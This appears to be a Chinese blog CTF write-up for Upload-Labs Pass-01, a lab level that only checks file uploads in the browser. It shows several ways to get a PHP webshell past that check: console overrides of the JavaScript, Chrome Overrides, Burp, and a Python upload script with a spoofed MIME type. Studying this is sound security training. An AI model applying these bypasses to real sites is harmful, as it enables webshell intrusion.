前言

学习,重温一下CTF知识和手感,回顾一下前端绕过手法。


关于题目环境

来自BUUCTF网站的Upload-Labs-Linux题目,其实就是Upload-Labs。

要求上传一个PHP WebShell,主要限制来自于一段JavaScript代码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

直接修改网页源代码

由于前端限制由JavaScript代码完成,而且浏览器由我们直接控制,前端代码存在被我们修改的可能性,所以修改网页源代码后直接通过网页上传文件的方式最为快捷。

JavaScript

最简单的方法是直接在Chrome浏览器的Console上操作,将checkFile替换为一个新的永远返回True的匿名函数:

checkFile = function(){
    return true;
}

此外,也可以用修改onsubmit事件的方式来完成:

document.getElementsByName("submit")[0].parentNode.parentNode.onsubmit = function(){
    return true;
}

Overrides

此外,Chrome也提供了Overrides机制,可以用本地文件覆盖前端文件实现前端源代码的替换,选定本地的源代码文件夹后,修改允许上传的文件后缀并保存,chrome就会在本地保存修改后的源代码文件。

刷新后就可以直接上传PHP文件。

Python脚本上传文件

通过requests库进行文件上传:

# -*- coding:utf8 -*-
import requests

url = "http://9cffd483-577f-4ea4-983b-4512fc1e0f53.node4.buuoj.cn:81/Pass-01/index.php"
f = open("pwn.php", "rb")
files = {
    "upload_file": ("pwn.php", f, "image/jpeg"),
    "submit": (None, "abc")
}
response = requests.post(url, files=files)
print response.status_code
print response.request.body
print response.request.headers

试了n种方法都传不上去,最后发现加上submit参数就行了,Orz。

BurpSuite代理Chrome

最后也是最常用的办法就是通过Burp抓包重发了,配置系统代理然后抓包修改就好。


参考

如何使用Chrome直接编辑前端代码


CTF Web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

BUUCTF CMD
CVE-2023-37582 Apache RocketMQ 文件写入漏洞